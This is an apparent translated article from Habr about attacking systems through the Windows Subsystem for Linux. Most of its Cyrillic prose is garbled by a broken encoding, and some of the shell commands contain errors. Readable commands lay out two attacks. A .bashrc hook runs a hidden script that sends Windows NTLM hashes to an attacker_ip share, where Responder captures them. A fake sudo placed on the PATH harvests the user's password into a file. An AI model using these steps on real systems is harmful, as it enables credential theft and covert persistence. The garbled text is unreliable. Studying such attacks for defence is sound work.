1. ΠΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠ° Π½Π° Π΄Π°ΡΠΎΡΠ΅ΡΠ΅Π½ ΡΠΈΡΡΠ΅ΠΌ: ΠΏΡΠ°Π²Π° Π½Π° ΠΏΡΠΈΡΡΠ°ΠΏ, Π΄ΠΎΡΡΠ°ΠΏΠ½ΠΎΡΡ Π½Π° ΡΠΏΠΎΠ΄Π΅Π»Π΅Π½ΠΈ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΈ/ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌΠΈ Π·Π° ΡΠ°Π·ΠΌΠ΅Π½Π° Π½Π° ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ.
ΠΠ΅ΡΠ΅ ΡΠΏΡΠΎΠ²Π΅Π΄Π΅Π½ΠΎ ΠΈΡΡΡΠ°ΠΆΡΠ²Π°ΡΠ΅ Π·Π° Π΄Π° ΡΠ΅ ΡΡΠ²ΡΠ΄Π°Ρ ΠΏΡΠ΅ΠΊΡΡΡΠ²Π°ΡΠ°ΡΠ° Π½Π° ΠΏΡΠ°Π²ΠΈΠ»Π°ΡΠ° Π·Π° ΠΏΡΠΈΡΡΠ°ΠΏ ΠΎΠ΄ Linux FS->Windows FS, Windows FS->Linux FS. ΠΡΡΡΠ°ΠΆΡΠ²Π°ΡΠ΅ΡΠΎ ΡΠ° ΠΏΠΎΠΊΠ°ΠΆΠ° ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡΠ° Π·Π° ΠΌΠ΅Π½ΡΠ²Π°ΡΠ΅ Π½Π° Π΄Π°Π΄Π΅Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° Π²ΠΎ ΡΠ°ΠΌΠΊΠΈΡΠ΅ Π½Π° ΡΠ΅Π»Π½ΠΈΠΎΡ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π΅Π½ ΡΠΈΡΡΠ΅ΠΌ. ΠΠ΅Π° Π½Π°ΠΏΡΠ°Π²Π΅Π½ΠΈ ΠΈ ΠΎΠ±ΠΈΠ΄ΠΈ Π·Π° Π·Π°ΠΌΠ΅Π½Π°, ΡΠΎΠ·Π΄Π°Π²Π°ΡΠ΅ Π΄ΡΠΏΠ»ΠΈΠΊΠ°ΡΠΈ ΠΈ Π±ΡΠΈΡΠ΅ΡΠ΅ Π½Π° Π΄Π΅Π» ΠΎΠ΄ Π΄Π°ΡΠΎΡΠ΅ΡΠ½ΠΈΡΠ΅ ΡΠΈΡΡΠ΅ΠΌΠΈ.
Π‘ΡΠ΅Π½Π°ΡΠΈΠΎ:
- A. ΠΠ°ΠΏΠ°Π΄ ΠΎΠ΄ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Windows - ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΡΠ° Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ ΠΎΠ΄ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ /etc Π½Π° Linux OS.
- Π. ΠΠ°ΠΏΠ°Π΄ ΠΎΠ΄ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ ΠΠΈΠ½ΡΠΊΡ - ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΡΠ° Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ Π²ΠΎ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΈ:
C:Windows
,C:Program Files
,C:Users<User>
2. ΠΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠ° Π½Π° ΠΌΡΠ΅ΠΆΠ½ΠΈΠΎΡ ΡΡΠ΅ΠΊ.
ΠΡΡΡΠ°ΠΆΡΠ²Π°ΡΠ΅ΡΠΎ Π±Π΅ΡΠ΅ ΡΠΏΡΠΎΠ²Π΅Π΄Π΅Π½ΠΎ ΡΠΎ ΡΠΏΠΎΡΡΠ΅Π±Π° Π½Π° ΠΏΡΠΈΠΌΠ΅ΡΠΈ Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈ ΠΎΠ΄ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ ΠΠΈΠ½ΡΠΊΡ Π½Π° ΠΠΈΠ½Π΄ΠΎΡΡ. ΠΠ΅Π° ΠΊΠΎΡΠΈΡΡΠ΅Π½ΠΈ ΠΊΠ°ΡΠ°ΠΊΡΠ΅ΡΠΈΡΡΠΈΠΊΠΈΡΠ΅ Π½Π° ΠΌΡΠ΅ΠΆΠ½ΠΈΠΎΡ ΡΡΠ΅ΠΊ, ΠΈΠΌΠ΅Π½ΠΎ, ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌΠΈ Π·Π° Π°Π²ΡΠ΅Π½ΡΠΈΠΊΠ°ΡΠΈΡΠ° Π½Π° ΡΠ°Π·Π»ΠΈΡΠ½ΠΈ ΡΠ΅ΡΡΡΡΠΈ.
Π‘ΡΠ΅Π½Π°ΡΠΈΠΎ:
- ΠΡΠ²ΠΎΡΠ°ΡΠ΅ ΠΏΡΠΈΡΡΠ°ΠΏ Π΄ΠΎ ΠΏΠΎΡΡΠ° ΡΡΠΎ Π΅ ΠΎΠΊΡΠΏΠΈΡΠ°Π½Π° Π½Π° ΡΠΈΡΡΠ΅ΠΌΠΎΡ Windows
- ΠΡΠ²ΠΎΡΠ°ΡΠ΅ ΠΏΠΎΡΡΠ° Π±Π΅Π· ΡΠΎΠΎΠ΄Π²Π΅ΡΠ½ΠΈ ΠΏΡΠ°Π²Π°
- ΠΠΊΠ»ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΎΠ±ΡΠ°ΡΠ½Π° ΡΠΊΠΎΠ»ΠΊΠ° ΡΠΎ ΠΏΠΎΠΌΠΎΡ Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° Π΅Π»Ρ Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ ΠΠΈΠ½Π΄ΠΎΡΡ.
3. Π‘ΠΎΠΊΡΠΈΠ²Π°ΡΠ΅ Π½Π° ΡΡΠ°ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π΅Π½ ΡΠΎΡΡΠ²Π΅Ρ ΠΏΡΠΎΡΠ΅ΡΠΈ ΡΠΎ ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° WSL ΠΏΠΎΡΡΠΈΡΡΠ΅ΠΌΠΎΡ.
ΠΡΡΡΠ°ΠΆΡΠ²Π°ΡΠ΅ΡΠΎ Π±Π΅ΡΠ΅ Π·Π°ΡΠ½ΠΎΠ²Π°Π½ΠΎ Π½Π° Π΅Π΄Π½ΠΎΡΡΠ°Π²Π΅Π½ ΡΠ°ΠΊΡ - Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΠ½ΠΈΡΠ΅ ΠΏΠΎΡΡΠΈΡΡΠ΅ΠΌΠΈ Π½Π΅ ΠΌΠΎΠΆΠ°Ρ Π΄Π° ΠΏΡΠ΅ΡΡΠ΅ΡΠ½ΡΠ²Π°Π°Ρ Π½Π°ΡΡΠ°Π½ΠΈ Π²ΠΎ Π΄ΡΡΠ³ΠΎ ΡΠ°Π΄ΡΠΎ ΡΡΠΎ ΡΠ°Π±ΠΎΡΠΈ ΡΠΎ ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° Π»Π΅Π³ΠΈΡΠΈΠΌΠ΅Π½ ΠΏΡΠΎΠ²Π°ΡΠ΄Π΅Ρ ΠΎΠ΄ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Π²ΠΎ ΡΠ»ΡΡΠ°ΡΠΎΡ Π½Π° WSL 1. ΠΠΎ ΡΠ»ΡΡΠ°ΡΠΎΡ Π½Π° WSL 2, Π½Π΅ ΠΏΠΎΡΡΠΎΠΈ Π½Π°ΡΠΈΠ½ Π΄Π° ΡΠ΅ ΠΏΡΠ΅Π³Π»Π΅Π΄Π°Π°Ρ Π½Π°ΡΡΠ°Π½ΠΈΡΠ΅ ΡΡΠΎ ΡΠ΅ ΡΠ»ΡΡΡΠ²Π°Π°Ρ Π²ΠΎ ΠΏΠΎΡΠ΅Π±Π΅Π½ ΠΊΠ΅ΡΠ½Π΅Π» Π²ΠΎ ΡΠ°ΠΌΠΊΠΈΡΠ΅ Π½Π° Π»Π΅ΡΠ½Π°ΡΠ° Π²ΠΈΡΡΡΠ΅Π»Π½Π° ΠΌΠ°ΡΠΈΠ½Π°.
Π‘ΡΠ΅Π½Π°ΡΠΈΠΎ:
1) Π‘ΡΠ°ΡΡΡΠ²Π°ΡΡΠ΅ ΡΠ° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π·Π° Π΄Π°Π»Π΅ΡΠΈΠ½ΡΠΊΠΈ ΠΏΡΠΈΡΡΠ°ΠΏ Π΄ΠΎ ΡΠΈΡΡΠ΅ΠΌΠΎΡ ΠΈ ΠΏΡΠ΅Π³Π»Π΅Π΄Π°ΡΡΠ΅ Π³ΠΈ Π½Π°ΡΠ°Π²Π΅Π½ΠΈΡΠ΅ Π½Π°ΡΡΠ°Π½ΠΈ.
WSL 1 Π΅ΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠΈ: Ρ Π°Ρ ΠΏΡΠ΅ΡΡΠ΅ΡΠ½ΡΠ²Π°ΡΠ΅ (Windows)
ΠΠΎΠ½Π΅ΡΠ½ΠΎ ΡΡΠΈΠ³Π½Π°Π²ΠΌΠ΅ Π΄ΠΎ ΠΏΡΠ°ΠΊΡΠΈΡΠ½ΠΈΠΎΡ Π΄Π΅Π». ΠΡΠ²ΠΎ, ΡΡΠ΅Π±Π° Π΄Π° ΡΠ° ΠΏΠΎΡΡΠ°Π²ΠΈΡΠ΅ ΠΎΠΊΠΎΠ»ΠΈΠ½Π°ΡΠ° Π·Π° ΡΠ΅ΡΡΠΈΡΠ°ΡΠ΅. Π‘ΠΈΡΠ΅ Π΅ΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠΈ ΡΠ΅ ΡΠ΅ Π²ΡΡΠ°Ρ Π½Π° ΠΊΠ»ΡΠΏΠ° ΡΠΎ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π½ Windows 10 2004. Π‘Π»ΠΈΠΊΠ°ΡΠ° Π½Π° Ubuntu 18.04 Π΅ ΠΈΠ·Π±ΡΠ°Π½Π° ΠΊΠ°ΠΊΠΎ ΡΠ»ΠΈΠΊΠ° Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Π·Π° WSL. Π‘Π»ΠΈΠΊΠ°ΡΠ° Π΅ ΠΈΠ·Π±ΡΠ°Π½Π° ΠΏΠΎ ΡΠ»ΡΡΠ°Π΅Π½ ΠΈΠ·Π±ΠΎΡ, Π° ΡΠ΅ΠΊΠΎΡΠ° Π΄ΡΡΠ³Π° ΡΠ΅ ΡΠ°Π±ΠΎΡΠΈ ΠΈΡΡΠΎ. ΠΠ°ΡΠ΅Π΄Π±ΠΈ Π·Π° ΠΏΠΎΡΡΠ°Π²ΡΠ²Π°ΡΠ΅ Π½Π° ΡΡΠ°Π½Π΄:
ΠΡΠ²ΠΎ ΠΌΠΎΡΠ° Π΄Π° Π·Π°ΠΏΠΎΡΠ½Π΅ΡΠ΅ powershell.exe
ΠΊΠ°ΠΊΠΎ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡ.
ΠΠ° WSL 1 ΡΡΠ΅Π±Π° Π΄Π° Π³ΠΈ ΠΈΠ·Π²ΡΡΠΈΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ΠΠΊΠ»ΡΡΠΈΡΡ ΡΡΠ½ΠΊΡΠΈΡ WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #ΠΠ°Π³ΡΡΠ·ΠΈΡΡ ΠΎΠ±ΡΠ°Π· Linux ΠΈΠ· ΠΌΠ°Π³Π°Π·ΠΈΠ½Π° Microsoft
Ubuntu.appx install βroot #Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΠΎΠ±ΡΠ°Π·
ΠΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΏΡΠΈΠ΄Π΅ΡΡΡ ΠΏΡΠΎΠΊΠ»ΠΈΠΊΠ°ΡΡ ΠΏΡΠΎΡΠ΅ΡΡ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ ΠΈ ΡΠΎΠ·Π΄Π°ΡΡ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ, ΠΊΠΎΡΠΎΡΡΠΉ Π±ΡΠ΄Π΅Ρ ΠΈΠΌΠ΅ΡΡ ΠΌΠ΅Π½ΡΡΠ΅ ΠΏΡΠ°Π², ΡΠ΅ΠΌ root. ΠΠ»Ρ Π½Π°ΡΠΈΡ
ΡΠ΅ΡΡΠΎΠ² ΡΡΠΎ Π±ΡΠ΄Π΅Ρ ΠΎΠ±ΡΡΠ½ΡΠΉ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ sam.
Restart-Computer #ΠΠ΅ΡΠ΅Π·Π°Π³ΡΡΠ·ΠΈΠΌ
ΠΠΎ ΡΠ΅ΡΡΠ°ΡΡΠΈΡΠ°ΡΠ΅ Π½Π° ΡΡΠ°Π½Π΄ΠΎΡ, ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΡΠ° ΠΏΠΎΠ²ΠΈΠΊΠ°ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° bash. ΠΠΊΠΎ ΡΓ¨ ΡΠ°Π±ΠΎΡΠΈ ΠΏΡΠ°Π²ΠΈΠ»Π½ΠΎ, ΡΠ΅ Π²ΠΈΠ΄ΠΈΡΠ΅ ΠΈΠ·Π»Π΅Π· ΡΠ»ΠΈΡΠ΅Π½ Π½Π° ΠΎΠ²ΠΎΡ Π²ΠΎ ΠΊΠΎΠ½Π·ΠΎΠ»Π°ΡΠ° Π½Π° Windows:
ΠΠ΅ ΡΠ° ΠΊΠΎΡΠΈΡΡΠΈΠΌΠ΅ Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΡΠ°ΡΠ° Kali Linux ΠΊΠ°ΠΊΠΎ ΠΌΠ°ΡΠΈΠ½Π° Π½Π° Π½Π°ΠΏΠ°ΡΠ°ΡΠΎΡ; ΡΠΈΡΠ΅ ΠΌΠ°ΡΠΈΠ½ΠΈ ΠΌΠΎΡΠ° Π΄Π° Π±ΠΈΠ΄Π°Ρ Π½Π° ΠΈΡΡΠ° Π»ΠΎΠΊΠ°Π»Π½Π° ΠΌΡΠ΅ΠΆΠ°.
ΠΠ° ΠΏΡΠ΅ΡΠΏΠΎΡΡΠ°Π²ΠΈΠΌΠ΅ Π΄Π΅ΠΊΠ° ΠΈΠΌΠ°ΠΌΠ΅ Π½Π΅ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠ°Π½ ΠΏΡΠΈΡΡΠ°ΠΏ Π΄ΠΎ WSL Π½Π° ΠΌΠ°ΡΠΈΠ½Π° ΡΠΎ Windows. ΠΡΠ΄Π΅ Π΄Π° ΡΠ΅ ΠΎΠ±ΠΈΠ΄Π΅ΠΌΠ΅ Π΄Π° Π³ΠΎ Π½Π°ΠΏΠ°Π΄Π½Π΅ΠΌΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ ΠΠΈΠ½ΡΠΊΡ ΡΠΎ ΠΏΠΎΠ²ΠΈΠΊΡΠ²Π°ΡΠ΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΎΠ΄ ΠΠΈΠ½ΡΠΊΡ. ΠΠ° Π΄Π° Π³ΠΎ ΡΠΏΡΠΎΠ²Π΅Π΄Π΅ΠΌΠ΅ Π½Π°ΠΏΠ°Π΄ΠΎΡ, ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈΠΌΠ΅ Π΅Π΄Π½ΠΎΡΡΠ°Π²Π½Π° ΡΠ΅Ρ
Π½ΠΈΠΊΠ° Π·Π° Π°Π²ΡΠΎΠΌΠ°ΡΡΠΊΠΎ Π°ΠΊΡΠΈΠ²ΠΈΡΠ°ΡΠ΅ - ΡΠ΅ ΡΠ° Π΄ΠΎΠ΄Π°Π΄Π΅ΠΌΠ΅ Π½Π°ΡΠ°ΡΠ° ΡΠΊΡΠΈΠΏΡΠ° Π·Π° ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ Π²ΠΎ ΠΎΠΊΠΎΠ»ΠΈΠ½Π°ΡΠ° Π½Π° Linux. ΠΠ° Π΄Π° Π³ΠΎ Π½Π°ΠΏΡΠ°Π²ΠΈΡΠ΅ ΠΎΠ²Π°, ΡΡΠ΅Π±Π° Π΄Π° ΡΠ° ΠΏΡΠΎΠΌΠ΅Π½ΠΈΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° .bashrc
.
ΠΠ° ΠΌΠ°ΡΠΈΠ½Π° ΡΠΎ WSL ΠΈΠ·Π²ΡΡΡΠ²Π°ΠΌΠ΅:
1. bash
2. ΠΠ΅ΡΠ΅Ρ
ΠΎΠ΄ΠΈΠΌ Π² Π΄ΠΎΠΌΠ°ΡΠ½ΡΡ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ: cd /home/sam/
2. echo Β«/home/sam/.attack.shΒ» >> .bashrc
3. echo Β«icalcs.exe Β» \\\\attacker_ip\\shareName\\Β» > /dev/null 2>&1Β» >> .attack.sh
4. chmod u+x .attack.sh
5. exit
ΠΠ° ΠΌΠ°ΡΠΈΠ½Π°ΡΠ° Kali Linux ΡΠ°Π±ΠΎΡΠΈΠΌΠ΅:
1. Responder -I eth0 -rdvw
ΠΠ° ΠΌΠ°ΡΠΈΠ½Π° ΡΠΎ Windows, Π°ΡΠ΄Π΅ Π΄Π° ΡΡΠ°ΡΡΡΠ²Π°ΠΌΠ΅ bash.
ΠΠΎ ΡΠ΅ΠΊΠ°ΠΌΠ΅ ΡΠ΅Π·ΡΠ»ΡΠ°ΡΠΎΡ Π½Π° ΠΌΠ°ΡΠΈΠ½Π°ΡΠ° Kali Linux:
Π’Π°ΠΊΠ°, Π³ΠΈ Π΄ΠΎΠ±ΠΈΠ²ΠΌΠ΅ Ρ
Π°ΡΠΎΠ²ΠΈΡΠ΅ Π½Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈΡΠ΅ Π½Π° Windows ΠΏΡΠ΅ΠΊΡ ΠΏΠΎΠ΄ΡΠΈΡΡΠ΅ΠΌΠΎΡ WSL ΡΠΎ ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π½Π° ΡΠΈΡΡΠ΅ΠΌΠΎΡ Linux.
WSL 1 Π΅ΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠΈ: Π΄ΠΎΠ±ΠΈΠ²Π°ΡΠ΅ ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΊΠ° Π»ΠΎΠ·ΠΈΠ½ΠΊΠ° (Linux OS)
ΠΡΠ΄Π΅ Π΄Π° Π½Π°ΠΏΡΠ°Π²ΠΈΠΌΠ΅ ΡΡΡΠ΅ Π΅Π΄Π΅Π½ Π΅ΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½Ρ. ΠΠ° Π²ΡΠ΅ΠΌΠ΅ Π½Π° ΠΎΠ²Π°Π° ΠΏΡΠΎΠ²Π΅ΡΠΊΠ° ΡΠ΅ Π΄ΠΎΠ΄Π°Π΄Π΅ΠΌΠ΅ Π²ΠΎ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° .bashrc
Π½Π΅ΠΊΠΎΠ»ΠΊΡ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΡΠΎ ΡΠ΅Π» Π΄Π° ΡΠ΅ Π΄ΠΎΠ±ΠΈΠ΅ ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΊΠ°ΡΠ° Π»ΠΎΠ·ΠΈΠ½ΠΊΠ° Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Linux.
ΠΡΠ΄Π΅ Π΄Π° Π³ΠΎ ΡΡΠ°ΡΡΡΠ²Π°ΠΌΠ΅ bash ΠΈ Π΄Π° Π³ΠΈ Π²Π½Π΅ΡΠ΅ΠΌΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtΒ» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
ΠΠ° ΡΡΠΏΠ΅ΡΠ½ΠΎ Π·Π°Π²ΡΡΡΠ²Π°ΡΠ΅ Π½Π° Π½Π°ΠΏΠ°Π΄ΠΎΡ, ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ Π‘Π΅ΠΌ ΡΡΠ΅Π±Π° Π΄Π° ΠΏΠΎΠ²ΠΈΠΊΠ° sudo Π²ΠΎ ΡΠ΅ΡΠΌΠΈΠ½Π°Π»ΠΎΡ ΠΠΈΠ½ΡΠΊΡ. ΠΠΎΡΠ»Π΅ ΠΎΠ²Π°, ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΊΠ°ΡΠ° Π»ΠΎΠ·ΠΈΠ½ΠΊΠ° Π½Π° Linux OS ΡΠ΅ Π±ΠΈΠ΄Π΅ Π²ΠΎ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° pass.txt
:
Π‘ΠΏΡΠΎΠ²Π΅Π΄ΡΠ²Π°ΡΠ΅ΡΠΎ Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈΡΠ΅ Π±Π΅ΡΠ΅ Π΄Π°Π΄Π΅Π½ΠΎ ΡΠ°ΠΌΠΎ Π·Π° ΡΠ΅ΠΎΡΠ΅ΡΡΠΊΠΈ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ.
Π‘Π»Π΅Π΄Π½ΠΈΠΎΡ Π΄Π΅Π» ΠΎΠ΄ ΡΡΠ°ΡΠΈΡΠ°ΡΠ° ΡΠ΅ ΡΠ° ΠΎΠΏΠΈΡΠ΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠ°ΡΠ° Π½Π° ΠΏΡΠΎΡΠΎΠΊΠΎΠ»ΠΎΡ 9P, ΡΠ΅ ΡΠ°Π·ΠΌΠΈΡΠ»ΠΈ Π·Π° ΡΠΎΠ·Π΄Π°Π²Π°ΡΠ΅ ΡΠΊΠ΅Π½Π΅Ρ Π·Π° ΠΎΠ²ΠΎΡ ΠΏΡΠΎΡΠΎΠΊΠΎΠ», Π° ΠΈΡΡΠΎ ΡΠ°ΠΊΠ° ΡΠ΅ ΠΈΠ·Π²ΡΡΠΈ Π½Π°ΠΏΠ°Π΄ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ Π³ΠΎ.
Π‘ΠΏΠΈΡΠΎΠΊ Π½Π° ΠΊΠΎΡΠΈΡΡΠ΅Π½Π° Π»ΠΈΡΠ΅ΡΠ°ΡΡΡΠ°
WSL 2 ΠΠ‘Π’Π ΠΠΠ£ΠΠΠΠ ΠΠ ΠΠΠ¨ΠΠ’ ΠΠΈΠ½Π΄ΠΎΡΡ ΠΏΠΎΡΡΠΈΡΡΠ΅ΠΌ Π·Π° Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠ° Π½Π° ΠΠΈΠ½ΡΠΊΡ
ΠΡΠΎΡΠΈΡΠ°Ρ ΠΏΠΎΠ²Π΅ΡΠ΅
ΠΠ·Π²ΠΎΡ: www.habr.com